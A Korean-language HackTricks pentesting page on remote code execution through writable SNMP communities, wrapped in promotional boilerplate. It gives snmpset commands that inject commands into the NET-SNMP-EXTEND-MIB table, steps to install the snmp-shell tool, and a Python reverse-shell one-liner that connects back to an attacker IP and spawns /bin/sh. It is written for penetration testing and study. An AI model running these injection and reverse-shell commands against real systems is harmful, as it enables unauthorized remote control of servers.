hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
2024-02-10 21:30:13 +00:00

72 lines
5.2 KiB
Markdown

<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>
# SNMP RCE
SNMP는 관리자가 장치나 서버의 기본 구성을 간과할 경우 공격자에게 악용될 수 있습니다. Linux 운영 체제에서 **쓰기 권한 (rwcommunity)**이 있는 SNMP 커뮤니티를 악용함으로써 공격자는 서버에서 명령을 실행할 수 있습니다.
## 추가 명령으로 서비스 확장하기
SNMP 서비스를 확장하고 추가 명령을 추가하기 위해 **"nsExtendObjects" 테이블에 새로운 행을 추가**할 수 있습니다. 이는 `snmpset` 명령을 사용하여 필요한 매개변수를 제공하면서 실행 파일의 절대 경로와 실행할 명령을 포함시킴으로써 달성할 수 있습니다:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## 명령어 주입을 위한 명령어 실행
SNMP 서비스에서 명령어를 주입하여 실행하려면 호출된 이진 파일/스크립트의 존재와 실행 가능성이 필요합니다. **`NET-SNMP-EXTEND-MIB`**는 실행 파일의 절대 경로를 제공해야 합니다.
주입된 명령어의 실행을 확인하기 위해 `snmpwalk` 명령어를 사용하여 SNMP 서비스를 열거할 수 있습니다. **출력에는 명령어와 해당하는 세부 정보**가 포함되며, 절대 경로도 표시됩니다:
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## 주입된 명령 실행하기
**주입된 명령이 읽히면 실행**됩니다. 이 동작은 **`run-on-read()`**로 알려져 있습니다. 명령의 실행은 snmpwalk 읽기 중에 관찰될 수 있습니다.
### SNMP를 사용하여 서버 쉘 획득하기
서버를 제어하고 서버 쉘을 얻기 위해 mxrch가 개발한 파이썬 스크립트를 사용할 수 있습니다. [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)에서 이용할 수 있습니다.
또는, SNMP에 특정 명령을 주입하여 역쉘을 수동으로 생성할 수도 있습니다. 이 명령은 snmpwalk에 의해 트리거되며, 공격자의 기기로 역쉘 연결을 설정하여 피해자 기기를 제어할 수 있게 합니다.
이를 실행하기 위해 사전 요구사항을 설치할 수 있습니다:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
또는 리버스 쉘:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
## 참고 자료
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
</details>